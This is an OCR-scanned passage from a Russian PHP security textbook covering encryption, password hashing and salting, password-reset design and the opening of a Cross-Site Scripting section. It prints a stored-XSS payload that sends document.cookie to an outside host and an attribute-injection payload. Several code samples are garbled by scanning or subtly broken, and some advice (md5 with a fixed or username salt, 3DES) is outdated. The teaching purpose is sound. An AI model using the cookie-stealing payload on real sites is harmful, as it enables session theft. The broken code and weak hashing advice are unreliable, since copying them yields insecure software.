часто используются картинки, которые можно выбирать для отображения над 
своими сообщениями. В таком случае можно избежать указания пути к файлу через 
переменную. Для этого все пути к картинкам прописываются в таблице базы дан-
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ных, · а посетитель должен только указать идентификатор необходимой записи, 

и путь уже будет извлекаться из базы. 

З .1 О. Кри птограсрия 

За время подготовки этой книги я тестировал много сайтов и просто сценариев на 
безопасность, стараясь выявить наиболее распространенные ошибки и описать их. 
На ошибках учатся. Мои исследования показали, что программисты не любят ис
пользовать шифрование. Может быть, они считают эту тему слишком сложной 
и избегают ее? Я попытаюсь продемонстрировать вам, что шифрование просто не
обходимо, и вы убедитесь, что с РНР это не так уж и сложно. 

Все пароли, которые хранятся на сервере, должны шифроваться, причем таким спо
собом, чтобы дешифрование их было невозможно, и это достигается использовани
ем алгоритма МD5. При этом пароли должны храниться в нечитаемом виде, даже 
если вы уверены, что взлом невозможен. История показывает, что взломать можно 
практически все - хакеры находили уязвимости, казалось бы, в очень защищен
ных системах. Вопрос только в том, как далеко может пройти хакер? Если хакер 
смог получить базу данных пользователей с паролями, и при этом все данные в ней 
записаны в открытом виде, то задача взломщика сильно упрощается. Если же паро
ли зашифрованы, то их придется еще и расшифровывать. 

Чем более стойкий алгоритм шифрования применяется в системе, тем сложнее бу
дет хакеру раскрыть необходимую информацию. Если пароли достаточно длинные 
и сложные, то задача подбора окажется чересчур затратной, и большинство хакеров 
просто бросят эту затею и станут искать другой вариант решения проблемы. 

Перейдем непосредственно к шифрованию. Нет, нам не придется придумывать или 
реализовывать какой-либо алгоритм самостоятельно, хотя и это возможно. Мы вос
пользуемся уже готовыми функциями. Создать действительно стойкий алгоритм 
слишком сложно. Над этой темой бьется множество великих математиков, поэтому 
не будем с ними соревноваться, а воспользуемся уже готовыми алгоритмами и реа
лизациями. Тем более что в большинстве случаев их вполне достаточно. 

Я не советую вам пытаться создавать собственную реализацию даже уже зареко
мендовавшего себя алгоритма шифрования. Ошибки ... Нет гарантии, что вы не 
допустите одну ошибку, которая станет последней. Лучше довериться готовым 
реализациям, имеющимся на рынке, которые уже хорошо отлажены и протестиро
ваны временем. 

Шифрование может быть симметричным, асимметричным и необратимым. Мы 
рассмотрим все три вида и начнем с самого простого - симметричного. 

З .1 О .1 . Симметричное шисррование 

Исторически симметричное шифрование появилось первым. Для шифрования дан
ных используется ключ, который служит и для дешифровки данных. Самый про

стой вариант зашифровать строку - выполнить логическую операцию xoR над дан-
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ными и ключом. Для расшифровки требуется повторить операцию. Без знания 
ключа зашифрованные данные становятся нечитаемыми. 

Какой бы сложный алгоритм вы ни использовали, у симметричного шифрования 
есть несколько очень серьезных недостатков: 

□ один ключ используется и для шифрования, и для дешифрования. Таким обра
зом, отправитель и получатель зашифрованных данных должны обладать одним
и тем же ключом. А как обменяться ключами через Интернет, когда эта связь
открытая? Допустим, что вы хотите пообщаться со своим другом из другого го
рода по электронной почте, не боясь, что кто-то подсмотрит вашу переписку.
Один из вас должен придумать или сгенерировать ключ, с помощью которого
будет происходить шифрование, и выслать его через e-mail своему корреспон
денту. Если ключ не бьш перехвачен, то последующие зашифрованные сообще
ния можно считать закрытыми («считать», потому что защита зависит от стой
кости алгоритма шифрования), но если письмо с ключом бьшо перехвачено, то
шифрование становится бессмысленным;

□ хакеры утверждают (и этому достаточно подтверждений), что информация, из
вестная двоим, может стать доступной всем. Есть много способов получения
нужных сведений.

И все же симметричному шифрованию можно найти множество эффективных при
менений. Например, шифрование данных на сервере. Допустим, необходимо за
шифровать какой-либо документ, чтобы хакер, взломав сервер, не смог увидеть его 
содержимое. Документ не будет передаваться по сети, а значит, никому не нужно 
отдавать ключ, поэтому перехватить его не удастся. 

В РНР бьшо уже несколько функций для симметричного шифрования, но ·они 
успешно удаляются, потому что имеют свои недостатки. В настоящее время можно 
использовать Sodium cryptographic library, для использования которой есть библио
тека-обертка bttps://pecl.pbp.net/packageЛibsodium. 

3 .1 О. 2. Асимметричное wисррование 

Асимметричное шифрование решает проблему передачи ключа по Сети, потому 
что для этого вида шифрования используются два ключа: открытый и закрытый. 
С помощью специализированной программы (в ОС Linux для этого используется 
библиотека OpenSSL) вы генерируете пару из открытого и закрытого ключей. От
крытый ключ применяется для шифрования, а для дешифрования необходим за
крытый ключ. Таким образом, открытый ключ может без опасений передаваться по 
открытым каналам связи, потому что с его помощью нельзя расшифровать данные. 
Закрытый ключ вы сохраняете у себя для дешифрования. 

Асимметричный метод надежнее. Нет, алгоритмы симметричного шифрования 
также стойки к атакам хакера, но при асимметричном методе, если вы никому не 
дадите свой закрытый ключ, его невозможно будет узнать, а значит, для взлома 
придется использовать только глупый перебор всех возможных ключей. Если вы 
создадите ключ, длиной в 1024 символа, то затраты на перебор будут чрезвычайно 
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высоки. Однако никто не застрахован от ошибки в реализации алгоритма. Если 
программист допустил ошибку, то будет возможен взлом и без полного перебора 
всех вариантов. 

3 .1 О. 3. Необратимое wисррование 

Последний метод, который нам предстоит рассмотреть, - необратимое шифрова
ние. Этот метод отличается от описанных ранее тем, что используемый алгоритм 
преобразовывает данные только в одну сторону, обратное преобразование невоз
можно. Зачем это нужно? Необратимый метод чаще всего применяют для шифро
вания паролей. Как же тогда проверить, правильно ли посетитель ввел пароль? 
Очень даже просто: введенные данные также шифруются, и результат сравнивается 
с зашифрованным паролем, хранящимся в базе. Если эти значения совпадают, то 
пароль введен верно, иначе авторизация недоступна. 

Для шифрования необратимым образом в. РНР используется • функция md5 ( ) . Эта 
очень старая и простая функция, но ее проблема - недостаточно хорошая безопас
ность. Поэтому с ее помощью рекомендуется не шифровать пароли и файлы, а соз
давать их хеши для сравнения. 

Следующий пример показывает, как вы можете зашифровать (хешировать) имя 
файла: 

$md_pass = md5($filename); 

Зачем нам это нужно? Я такой подход использую, когда нужно загружать файлы на 
сервер. Например, сейчас в моем блоге www.flenov.info уже создано 4868 заметок и 
большинство из них с картинками. Такое количество картинок не рекомендуется 
загружать в одну и ту же папку. На более крупных сайтах может быть еще больше 
картинок, и если их помещать все в одну папку, то в ней окажутся многие тысячи 
файлов, что не является хорошим решением. Лучше заранее группировать файлы 
по папкам каким-то образом. 

Как раз для группировки я и использую хеш-функцию. Я просто подсчитываю ее, а 
потом создаю папку из первых трех символов хеша и в нее уже помещаю файл. Вот 
пример адреса картинки, размещенной в одной из таких папок: https://www.flenov. 

inf о/ /pics/584/4899-devlog.j pg. 

Здесь 584-это первые три символа хеша, который я посчитал с помощью mcts: 

$smd5 = md5($filename); 
$folder = suЬstr ($smd5, 1, 3) . '/'; 
if (!file_exists($parentfolder . $folder)) 

mkdir($parentfolder . $folder, 0600, true); 

} 
// теперь скопировать файл $filename в папку $parentfolder . $folder 

Логика этого кода такая: 

1. Посчитать хеш.

2. Взять первые три символа для названия папки.
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3. Проверить, существует ли такая папка.

4. Если папка не существует, то создать ее.

Как я уже отметил ранее, пароли не стоит хранить в открытом виде - нужно ис
пользовать необратимое шифрование (хеширование). Хороший алгоритм хеширо
вания должен давать для каждого пароля уникальный хеш. Как же тогда проверять 
пароль, если мы не храним его? Нужно проверять хеш! 

Когда посетитель вводит имя и пароль на странице входа на сайт, мы получаем 
пароль, хешируем его и результирующий хеш сравниваем с тем значением, что на
ходится в базе данных. Так что необходимости хранить оригинальное значение нет. 

В тех случаях, когда вам нужно работать с паролем, лучше использовать функцию 
password _ hash, а не md5. Эrа функция получает три параметра: 

□ строку, которую нужно зашифровать;

□ алгоритм, который нужно использовать для шифрования. Поддерживаются сле
дующие значения PASSWORD_DEFAULT, PASSWORD_BCRYPТ, PASSWORD_ARGON2I, PASSWORD_
ARGON2I;

□ опции.

Самый простой способ вызвать функцию - передать только пароль и использовать 
все остальные значения по умолчанию: 

password _hash ( 'password' , PASSWORD _ BCRYPT, [] ) 

Здесь я хеширую слово password. 

Попробуйте создать РНР-файл и вывести· результат значения этой функции. На 
странице вы должны увидеть что-то типа: 

$2y$10$0Daiz5v3LnLsaDlcYhOdXOpUМkVSslom2mTdL18JxG15yB68Ktdny 

Затем перезагрузите страницу и посмотрите на результат - он должен измениться. 
Почему? Было же сказано, что функция хеширования для одного и того же пароля 
должна возвращать одно и то же значение, иначе как мы будем их сравнивать? 

Результат хеширования меняется, потому что в функцию встроен механизм «соли». 
Что это такое? 

Если следовать классике, когда хеш-фенкция возвращает одно и то же значение, то 
хакер может просто создать такие хеши для всех популярных паролей и использо
вать их для перебора. Хакеру не нужно расшифровывать пароль, поскольку это не
возможно в случае необратимого алгоритма. Ему нужно просто знать, какой хеш 
соответствует какому паролю, и всё. Да, такая таблица будет большой, но все же ее 
реально создать. 

Чтобы хакер не смог заранее посчитать все хеmи для всех возможных паролей, мы 
можем перед хешированием генерировать что-то уникальное ( это называют «со
лью»), добавлять к паролю и потом уже хешировать. Тогда хеш будет постоянно 
разным за счет уникальной «соли». 

До РНР 8 можно было самому сгенерировать «соль» и передавать ее функции 
password _ hash, но теперь эту возможность отключили, и «соль» генерируется авто
матически. 
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А как же тогда проверять соответствие? Мы же должны знать «соль»! 

Нет, ее знать необязательно - мы можем использовать встроенную функцию 

password _ verify, которой нужно передать два параметра: строку с оригинальным 
значением пароля и строку с хешем. Если они соответствуют друг другу, то в ре
зультате мы получим true: 

password_verify( 'password', 
'$2y$10$PVANtAyOW79cQXQzEfApqeqre8wlGH1Fws2ZTKбrnvFwN7jiQ7CQFW') 

3 .1 О. 4. ТТрактика испольэовани.я шисрровани.я 

Асимметричный метод выбирают тогда, когда зашифрованные данные передаются 
по Сети. Если данные используются только самой системой и не пересекают ее 
границы, проще выбрать симметричный метод. Ну а если данные не нужно рас
шифровывать, то тут однозначно следует применять хеширование необратимым 
шифрованием. Пароли никогда не выводятся на веб-странице, и нам не нужно даже 
знать, что именно указывал посетитель при регистрации. 

Если вы для шифрования паролей выбрали функцию md5 (), то должны отдавать 
себе отчет, что восстановить пароль будет невозможно. Если посетитель забыл его, 
то единственный способ решения проблемы - сбросить пароль. И это правильный 
и безопасный подход. 

Когда я был администратором собственного форума, ко мне часто обращались 
с просьбой восстановить забытый пароль или обнулить его. Но как я могу быть 
уверенным, что тот, кто обращается, действительно является владельцем указывае
мой им учетной записи? В таких случаях на сайте при регистрации посетителю 
можно предложить дать ответ на какой-нибудь контрольный вопрос - например, 
назвать любимое блюдо. Если пользователь забьm пароль, то можно предложить 
ему ответить на вопрос. Этот метод раньше использовался достаточно часто, но 
сейча{: от него отказываются, хотя буквально на прошлой неделе я с таким столк
нулся на сайте IКЕА. Безопасность такого подхода слишком низка. 

Лучше всего, если ваша система будет предлагать несколько различных вопросов, 
ответы на которые посетитель должен вводить вручную, а не выбирать из списка. 
Если пользователь забыл пароль, он должен сам найти вопрос, который выбрал при 
регистрации, и самостоятельно ввести ответ. Никогда не используйте заранее опре
деленные списки с вариантами ответов. 

Пока вроде все красиво, и ничто не предвещает беды. Хакер не может знать вопрос; 
который выбрал пользователь, и тем более ответ на него. Хорошо, но не совсем. 
Во время подготовки книги я нашел уязвимость на одном из сайтов и сообщил об 
этом его администратору. Уязвимость была серьезная, и администратор попросил 
меня тщательнее проверить безопасность используемых сценариев, но не раскры
вать в книге название сайта, если я соберусь описывать взлом. 

Более углубленное исследование не выявило других уязвимостей, но мне удалось 
заполучить таблицу данных о зарегистрированных пользователях. Проанализиро
вав данные, я поразился тому, что около 70% ответов были однообразными. На-
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пример, на вопрос о любимом блюде очень часто встречались ответы: пиво, бана
ны, оливье, борщ и еще несколько вариантов. Действительно, когда вам задают во
прос о еде, то большинство выберет самое популярное блюдо, которое первым 
придет на ум. Никто не будет выдумывать ничего сложного. Неудивительно, что 
подбор варианта ответа становится примитивной задачей. 

То же самое бьmо и с ответами на вопросы о кличке собаки- популярные клички 
можно перебрать по пальцам. В таких случаях достаточно иметь хороший словарь 
и немного времени для подбора, и большая часть учетных записей будет взломана. 

Ну а если хакер серьезно нацелен взломать определенный аккаунт, то он без про
блем может поискать ответы на вопросы типа «любимое блюдо» или «любимый 
цвет» даже в социальных сетях. При популярности и открытости социальных сетей 
о потенциальных жертвах можно узнать очень многое. 

Если поиск не помог, хакер может воспользоваться социальной инженерией - соз
дать поддельный аккаунт в социальной сети с фотографией красивой девушки. 
Сколько мужиков (даже женатых) назовут свой любимый цвет, если их спросит 
привлекательная блондинка? Простые вопросы не вызывают подозрения, а именно 
их и задают на сайтах. 

Приведу еще один пример. Год назад хакеры взломали сервер хостинговой компа
нии, где находился мой сайт. Я сообщил об этом администрации, и через час ко мне 
пришло письмо, что все пароли принудительно меняются. Чтобы восстановить па
роль, нужно было воспользоваться системой «Вспомнить пароль», при которой его 
отправляли на адрес e-mail, указанный при регистрации. Самое страшное, что тот 
адрес я уже давно забросил, и его закрыли. Чтобы получить пароль, мне пришлось 
отправить телеграмму в адрес хостинговой компании с моими заверенными пас
портными данными. Любые сообщения по электронной почте игнорировались 
и пароли не высылались. Да, это доставило множество проблем легальным посети
телям, но зато можно было гарантировать, что ни один хакер не сможет перехва
тить управление моим сайтом. 

Вы можете спросить, а почему нельзя было отправить паспортные данные по элек
тронной почте? Нельзя. Дело в том, что эти данные могли быть указаны при реги
страции домена, а значит, любой хакер может увидеть их через службу Whois, вы
слать по e-mail администратору сервера и перехватить мой пароль. А вот отправить 
заверенную телеграмму намного сложнее. 

Необратимое шифрование можно использовать и для проверки целостности дан
ных. Например, создать в таблице отдельную колонку, в которой будет храниться 
зашифрованный вариант всех полей. Если хакер сможет изменить содержимое 
одного из полей, но не изменит зашифрованное поле, то вы сразу же заметите что
то подозрительное. 

Хранить зашифрованный вариант всех полей неэффективно, потому что это потре
бует слишком больших расходов: Необходимо ограничиться только основными 
полями. Например, можно зашифровать пароль с помощью алгоритма ЗDES, а по
том посредством моs зашифровать имя пользователя и уже зашифрованный пароль. 
Такое поле мы назовем контрольной суммой. Тогда, если хакер попытается изме-
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нить имя или пароль, но не пересчитает контрольную сумму, вы быстро обнаружи
те попытку взлома и с помощью сценария сможете просигнализировать о ней ( от
править сообщение на адрес администратора) и запретить вход с используемого 
хакером IР-адреса. 

Итак, в реальных программах не рекомендуется хранить пароли в открытом виде. 
Они должны всегда хешироваться (именно хешироваться, потому что этот алго
ритм необратим) и храниться в базе данных в зашифрованном виде. В этом случае 
нельзя из пароля удалять буквы, иначе будет нарушена хеш-сумма (которая состоит 
не только из цифр, но и букв), и сравнение двух зашифрованных паролей может 
выдать неверный результат. Эта проблема решается достаточно просто- не ис
пользуйте переменную с паролем в запросе. В этом случае проверка пароля должна 
выполняться примерно следующим образом: 

$query = $dЬ-�prepare ("SELECT * FROМ Users WHERE name = :name"); 

$query->ЬindValue (": name", $name); 

$query->execute(); 

$users = $query->rowCount(); 

if ( ! $users) 

die ( "Ошибка авторизации"); 

if (($line $query->fetch(PDO::FETCH_ASSOC)) != FALSE) { 

if ($pass = $line[pass])) { 

} 

Здесь мы выполняем запрос к ·базе данных с поиском записи только по имени. За
тем проверяем количество полученных строк. Если оно равно нулю, значит, записи 
не найдены, и работа сценария должна быть прервана. Если строка посетителя най

дена, то получаем ее данные и с помощью оператора if проверяем пароль. Можно 
искать в базе сразу по имени и паролю, это также будет весьма эффективно. 

Я уже говорил, что в базе данных пароль не должен храниться в открытом виде. 
Вместо этого он должен быть зашифрован необратимым образом. 

Достоинство хеширования заключается в том, что хакеру сложно узнать реальный 
пароль, который нужно вводить. Обратное преобразование можно сделать только 
банальным перебором. Ему придется запускать цикл, который будет хешировать 
все допустимые значения и сравнивать результат с нужной хеш-суммой. На первый 
взгляд, это очень усложняет взлом реального пароля, но тут есть одна проблема -
хеши статичны. Мы уже об этом говорили в предыдущем разделе. Хакер может 
один раз сгенерировать одну большую таблицу, в которой будут находиться все 
возможные значения (слова и символы) и соответствующие им хеши. Тогда ему не 
нужно ничего генерировать - берет любой хеш и ищет для него в этой таблице 
соответствующее значение, которое и будет реальным паролем. Найти пароль 
таким образом можно за миллисекунды. 

Хотя функцию моs не рекомендуется применять для хеширования паролей, я все же 
приведу пример ее использования только для того, чтобы мы познакомились на 
практике, как работает уже упомянутая ранее «соль». 
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Получается, что у функций хеширования, таких как моs, по умолчанию мнимая 
защита, и превратить хеш в соответствующий пароль очень легко? Да, это так, но 
мы можем усложнить хакеру задачу, если перед шифрованием будем добавлять 
к паролю какой-то символ или строку: 

$pass = md5($_GET[password] . 11jjsdfr235"); 

Теперь таблица хакера бесполезна. У него данные просто зашифрованы, а в нашем 
случае перед шифрованием мы к паролю добавили строку с бессмысленным значе
нием. Хакеру придется генерировать новую таблицу, в которой все значения перед 
хешированием тоже объединяются с этой бессмыслицей. 

Такой метод защиты вполне удачен, а строка, которую вы добавляете к паролю пе
ред шифрованием, как раз и называется «солью» (salt). Вы как бы «подсаливаете» 
шифруемый текст и делаете его более безопасным. 

Переменную $pass, зашифрованную с «солью», мы сохраняем в базе для будущего 
использования: 

$query = $dЬ->prepare("INSERT INTO users (name, pass) " 

"VALUES ( :name, :pass) "); 

$query->ЬindValue(":name 11

, $name); 

$query->ЬindValue(":pass 11

, md5($_GET[password] ."jjsdfr235 11)); 

Теперь, чтобы самому проверить введенный пользователем пароль на соответствие 
этому хешу, делаем так: 

$query = $dЬ->prepare("SELECT * FROM Users WHERE name = :name " 
11 and pass = :pass"); 

$query->ЬindValue(":name", $name); 

$query->ЬindValue( 11:pass 11

, md5($_GET[password] ."jjsdfr235 11)); 

Если вы пишете небольшую программу для своих личных целей, то этой защиты 
уже будет достаточно, потому что хакер не станет надрываться ради единичного 
взлома. Но если вы написали популярный форум или популярную программу, ко
торую будет использовать на просторах Интернета каждый второй сайт, то хакер 
может все же потратить время и сгенерировать таблицу, содержащую все возмож

ные хеши для строк, объединенных с вашей «солью» jjsdfr235. 

Как же защититься в этом случае? Нужно сделать «соль» изменяемой. Можно для 
каждого пароля генерировать случайным образом свою «солы> и использовать ее. 
После этого сохранить в базе не только хеш пароля, но и саму «солы>, чтобы в бу
дущем ее можно бьmо задействовать для сравнения: 

$salt = сгенерировать значение; 

$pass = md5($_GET[password] .$salt); 

$query = $dЬ->prepare("INSERT INTO users (name, pass, salt) 11 

1

1VALUES (:name, :pass, :salt) 11

); 

$query->ЬindValue( 11:name 11

, $name); 

$query->ЬindValue( 11:pass 11
, $pass); 

$query->ЬindValue(11:salt 11

, $salt); 
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Для каждого посетителя генерируется новая уникальная «соль» и сохраняется 
в базе данных вместе с паролем. 

Теперь проверка посетителя может выглядеть так: 

$saltquery = $dЬ->prepare ( 11SELECT salt FROM Users WНERE name 
$saltquery->ЬindValue ( 1

1 :name11

, $name); 
$saltquery->execute(); 

if (($line = $saltquery->fetch(PDO::FETCH_ASSOC)) != FALSE) { 
$salt = $line['salt'J; 

} 

$authquery = $dЬ->prepare( 11SELECT * FROM Users WHERE name 
"AND pass = :pass11

); 

if ($line [ 'salt'] == md5 ($_GET [password]. 11$salt 11)) 

{ 

// посетитель есть в базе данных 
} 

:name11

); 

:name 

А действительно ли нужно что-то генерировать, да еще и случайным образом? Да, 
это будет очень хорошая и надежная защита, но в большинстве случаев достаточно 
чего-то более простого, если у вас небольшой сайт. Например, у нас уже есть в базе 
данных изменяемое поле, которое существует всегда и уникально для каждого по
сетителя, - это его имя. Чаще всего оно уникально, и поэтому его вполне резонно 
можно использовать в качестве «соли»: 

$pass = md5($_GET[password] .$_GET[username]); 

Главное, чтобы это поле не менялось. Если есть опция менять имя посетителя, то 
после его смены пароль перестанет работать. Можно также использовать просто 
первичный ключ таблицы, что тоже является вполне рабочим способом, поскольку 
это поле никогда не меняется. 

К преимуществам этого метода можно отнести экономию места в базе данных -
ведь мы не сохраняем в ней дополнительное поле с «солью». «Солью» является имя 
посетителя, которое мы все равно храним. 

Недостаток у этого метода один, но достаточно серьезный, и хакеру легко им вос
пользоваться. Он может сгенерировать таблицы соответствий строк и хешей для 
наиболее популярных имен пользователей. Генерировать все он не будет, потому 
что его интересует только учетная запись администратора. А какое имя чаще всего 
используют для администраторских учетных записей? В большинстве случаев это 
admin- поэтому, имея такую таблицу, можно быстро подобрать администратор
ский пароль по «засоленной» хеш-сумме. Чтобы этого не случилось, в вашей сис
теме не должно быть администраторов с именем admin. 

Рассмотрим следующий код: 

SELECT * FROM Users WHERE (name = '$_GET[name] 11
• 

11AND (pass = "' . md5($_GET[password] ."$salt 11) 

"OR pass = '" . $ _ GET [password] . 11 '
)) 

"'" 
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Опустим то, что здесь должны использоваться параметры ради безопасности, -
я просто встроил переменные прямо в текст SQL для простоты чтения. 

Здесь пароль сравнивается со значением в базе с учетом шифрования и без него. 
Это сделано для того, чтобы проще было сбрасывать пароли. Например, если кто
то из администраторов или программистов забудет пароль, то через прямой доступ 
к базе данных он поменяет пароль, записав в базу незашифрованный вариант, и та
кой запрос выполнится корректно. Причем, это реализовано в программе, которая 
хранит большую базу данных посетителей, в том числе финансовую информацию. 
Никогда не делайте так!!! В этом случае пользы от шифрования нет никакой, ведь 
мы все равно производим две проверки, одна из которых сравнивает пароль 
с зашифрованной версией, а другая - с незашифрованной. 

Как реализовать систему восстановления паролей? Посетители регулярно забывают 
их, но как же дать им возможность вспомнить свой пароль? Никак. Мы не можем и 
не должны этого делать. В базе данных нет паролей в открытом виде, а по хеш
сумме восстановление невозможно. Единственное правильное решение - дать 
возможность сбросить пароль или установить новый. Можно действовать следую
щим образом: 

1. Посетитель вводит свой почтовый ящик, указанный при регистрации.

2. Сценарий генерирует случайный код, который можно еще и зашифровать с по
мощью моs для пущей красоты и взять только первые 16 или даже более симво
лов хеша. Далее генерируется письмо, в котором пользователю отправляется
URL вида:

http://www.вaшcaйm/passrecovery.php?name=u.мяnoлыoвameля&id=кoд

3. Сгенерированный код сохраняется в базе в специальном поле - например,
recovery. До этого момента мы пока не сбрасываем пароль и ничего с ним не де
лаем на случай, если это хакер пытается взломать учетную запись. Желательно,
чтобы такой код имел дату окончания - например, действовал пару дней с даты
генерации. Для этого можно просто сохранить дату генерации в базе данных и
проверять, не прошло ли более двух дней.

4. Посетитель получает письмо и щелкает на ссылке. Если он смог получить пись
мо и увидеть ссылку, значит, он реальный владелец ящика и учетной записи.
Если же это хакер, который взломал почтовый ящик, то тут мы уже ничего по
делать не сможем @. Хотя нет, можно реализовать двухфакторную авториза
цию, но это уже отдельная история.

Сценарий passrecovery.php может выглядеть примерно следующим образом: 

$query = $dЬ->prepa"e("SELECT * FROM Users WHERE name = :na"e "

" "AND recovery = :recovery AND recovery ''"' '"); 

$query->ЬindVal"e(":n"me", $_GET[name]); 

$query->ЬindVal"e(":recov"ry", $_GET[recovery]); 

$query->execute(); 

$rows = $query->rowCount(); 
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if ($rows == 1) 

// меняем пароль 

Для смены пароля можно выбрать один из двух способов: 

□ сгенерировать новый случайный пароль и показать его в браузере. Если потом

посетитель захочет его поменять и сделать проще, то это уже его проблемы, -
пусть сделает его опять простым и снова забудет. Хотя сложно сгенерированный
пароль посетитель забудет или открыто запишет еще быстрее;

□ показать форму, в которой посетитель введет новый пароль, и уже его сохранить
в базе данных. Сейчас многие пользуются менеджерами паролей, которые гене

рируют стойкие пароли.

В любом случае не забудьте очистить поле recovery, чтобы оно бьmо пустым, иначе 
хакер может запустить перебор всех возможных значений для сброса пароля для 

любого посетителя. Для этого ему достаточно написать небольшую программу, ко

торая будет отправлять GЕТ-запросы вашему сценарию и автоматически менять зна

чение параметра recovery. Рано или поздно взлом произойдет. А хакеры никуда и 
не торопятся. 

Обратите внимание на то, как происходит сравнение в приведенном только что за
просе. В нем мы производим сравнение имени посетителя с полученным значением 

параметра name, а значение кода сравниваем с параметром recovery. Кроме того, 

поле recovery не должно быть равно пустой строке: 

recovery = " . $ _ GET [ recovery] . "' AND recovery <> "" 

Если вы будете очищать поле recovery пустой строкой, или в таблице оно будет 

получать по умолчанию это значение, а не NULL, то без второй части проверки все 
ваши записи сразу станут уязвимыми. Взломщик без усилий обратится к вашему 

сценарию и передаст ему только имя посетителя. Параметр recovery достаточно 
оставить пустым, и пароль будет сброшен. 

З .11. Атака Cross-Site Scripting 

Одна из современных атак на веб-сайты получила название Cross-Site Scripting 

(XSS). Она основана на том, что хакер внедряет в веб-страницу свои НТМL-ди
рективы. С их помощью ему удается украсть содержимое файлов cookies посетите
ля сайта. Если в этих файлах бьmи сохранены пароли, то хакер получает доступ 
к учетной записи пользователя. 

Если хакер сможет внедрить свой код в веб-страницу, то это грозит нам не только 
взломом, но и порчей содержимого. При определенных условиях такую атаку мож

но отнести к классу «дефейс» (подмена страницы)- правда, эти условия слишком 
притянуты за уши. Но возможность внедрения чужого кода на сайт действительно 
опасна, и на это нельзя закрывать глаза. 
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Чтобы хакер не смог влиять на содержимое веб-страниц, вы должны внимательно 
проверять каждый параметр, который передается посетителем и содержимое кото
рого выводится: на страницу. Допустим, что вы хотите написать форум или госте
вую книгу. Такие сценарии обязательно получают текст от посетителей и отобра
.жают его на веб-странице. Нам же необходимо, чтобы хакер не смог отобразить на 
экране ничего лишнего. 

А что лишнее он может отобразить? Я имею в виду НТМL-теги. Как раз их исполь
зование на странице и приводит к проблемам. Если вы отображаете на экране текст, 
полученный от посетителя, то он должен выводиться как текст, а не как НТМL
разметка. Если пользователь введет текст <hl>Title</hl>, то он должен выглядеть 
на экране как <hl>Title</hl>, а не как отформатированное крупным шрифтом сло
во Title. 

Для обезвреживания переменных от НТМL-кода можно использовать функцию 
htrnlspecialchars (), которую мы рассматривали в разд. 3. 5. Но у нас уже достаточ
но информации, чтобы не надеяться на эту функцию. На мой взгляд, будет намного 
лучше, если вы напишете регулярное выражение и функцию, которые будут заме
нять символ < последовательностью & 1t; . 

Использование собственного регулярного выражения не обеспечивает более высо
кую скорость работы, зато гарантирует универсальность подхода и просто удобно 
с точки зрения понимания уязвимости. Вы будете наращивать функциональность, 
расширяя возможности поиска и замены. 

Некоторые программисты пытаются запрещать только определенные опасные теги 
или параметры тегов (Javascript, vвscript и др.), например с помощью такой про
цедуры: 

function RemoveScript($r) 
{ 
$r = preg_replace("/javascript/i", "java&nЬsp;script&nЬsp;", $r); 
$r = preg_replace("/vbscript/i", "vb&nЬsp;script&nbsp;", $r); 
return $r; 

Не стоит этого делать. Вы можете упустить опасный тег. Необходимо запрещать 
все, иначе ваша система безопасности окажется уязвимой. 

В зависимости от контекста опасными могут быть разные символы. Если вы сейчас 
просто пишете с помощью РНР какой-тu код на страницу, то тут опасными 
являются НТМL-теги и в особенности символы угловых скобок < и >. 

Если вы выводите что-то внутри тега, то тут уже очень опасными становятся оди
нарные или двойные кавычки. Например: 

<а href="/test.php?id=<?= $_GET['id'] ?>">Ссылка</а> 

Если хакер в качестве параметра id передаст что-то типа: 

1" onclick="alert ( 'Hacked') 

то в результате ссьmка превратится в: 

<а href=" /test .php?id=l" onclick="alert ( 'Hacked') ">Ссыпка</а> 
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По щелчку на такой ссылке выполнится JavaScript-кoд, который указал хакер. 
С помощью JavaScript можно украсть cookies пользователей, и если на сайте не
безопасно реализовано управление сессиями, то, возможно, хакер получит доступ 
к аккаунту. 

Если использовать лишь функцию htmlspecialchars, то вы будете в безопасности 
только, если выводите текст на страницу вне тегов. По умолчанию в HTML в коды 
превращаются только угловые скобки, которые используются в тегах. Для того 
чтобы экранировать и кавычки, нужно явно указать в качестве второго параметра 
ENT _QUOTES, например: 

$variaЬle = htrnlspecialchars($_GET['id'], ENТ_QUOTES); 

Защита от XSS зависит от того, где выводится текст: в теле документа или внутри 
какого-то тега. На странице основными опасными символами являются угловые 
скобки< и>, которые начинают и заканчивают теги. Причем самым опасным явля
ется именно открытие тега. Если вы замените все открывающие угловые скобки на 

& lt;, то для браузера закрывающие угловые скобки теряют специальный смысл, но 
лучше все же менять и те и другие. 

Когда тег уже открыт и вы отображаете данные в нем, то опасными становятся уже 
одинарные или двойные кавычки - в зависимости от того, какие вы используете. 
Чтобы чувствовать себя в безопасности, лучше менять и те и другие. 

Атаки XSS бывают двух типов: хранимые и нехранимые. Хранимая ХSS-уязви
мость чаще всего связана с функциональностью, которая позволяет сохранять на 
сайте какой-либо текст. Как я уже отмечал ранее, это разрешает форум или ком
ментарий. Хакер может сохранить вместе с комментарием какой-нибудь НТМL/JS
код, который будет делать какие-то необходимые ему действия. 

Например, если хакер сохраняет следующий комментарий: 

Отличная статья= <script>$.get('http://www.flenov.info?id=' + 
document.cookie)</script> 

он сохранится в базе данных и потом будет отображаться всем посетителям, кото
рые будут просматривать ту же страницу: Если вы не экранируете угловые скобки, 
то браузер при отображении выполнит следующий JS-код: 

$.get('http://www.flenov.info?id=' + document.cookie) 

С помощью jQuеrу-функции $. get на мой сайт будут отправлены все значения 

cookie. И если cookie, которая отвечает за сессию, не защищена от доступа из 

JavaScript (не установлен флаг http only), то есть шанс, что хакер может украсть 
вашу сессию. 

Хотя здесь прописан URL моего личного блога, на самом деле у меня по этому 
адресу нет никакого кода, который бы сохранял данные в базе. Я использую свой 
сайт только для иллюстрации и в реальности не собираю чужие данные. Но я вам 
все же не рекомендую экспериментировать подобным образом с чужими сайтами, 
потому что очень часто веб-сервер сохраняет в файлы журнала любые обращения 

к серверу, а это значит, что все, кто заглядывает в журнал, могут увидеть такой 
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URL вместе со значениями cookie, потому что они в открытом виде передаются 
вURL. 

Второй тип атаки XSS - нехранимые. В этом случае зловредный код не сохраняет
ся на сайте, а передается на него, например, через URL. 

Давайте рассмотрим банальный пример, который можно встретить на сайтах: 

<form method="get"> 
<input type="text" name="search" style="width:200px" /> 
<button>Пoиcк</button> 

</form> 

<hr/> 
Вы искали: <?= $_GET['search'] ?> 

Это простейшая форма для поиска с одним полем, где посетитель может вводить 
какой-то текст. Очень часто после ввода данных посетитель отправляет форму, и на 
странице результатом отображается что-то типа: Вы искали и дальше текст, кото
рый отображает результат поиска. 

Запустите веб-сервер и загрузите этот файл ( от содержится в папке chapterЗ сопро
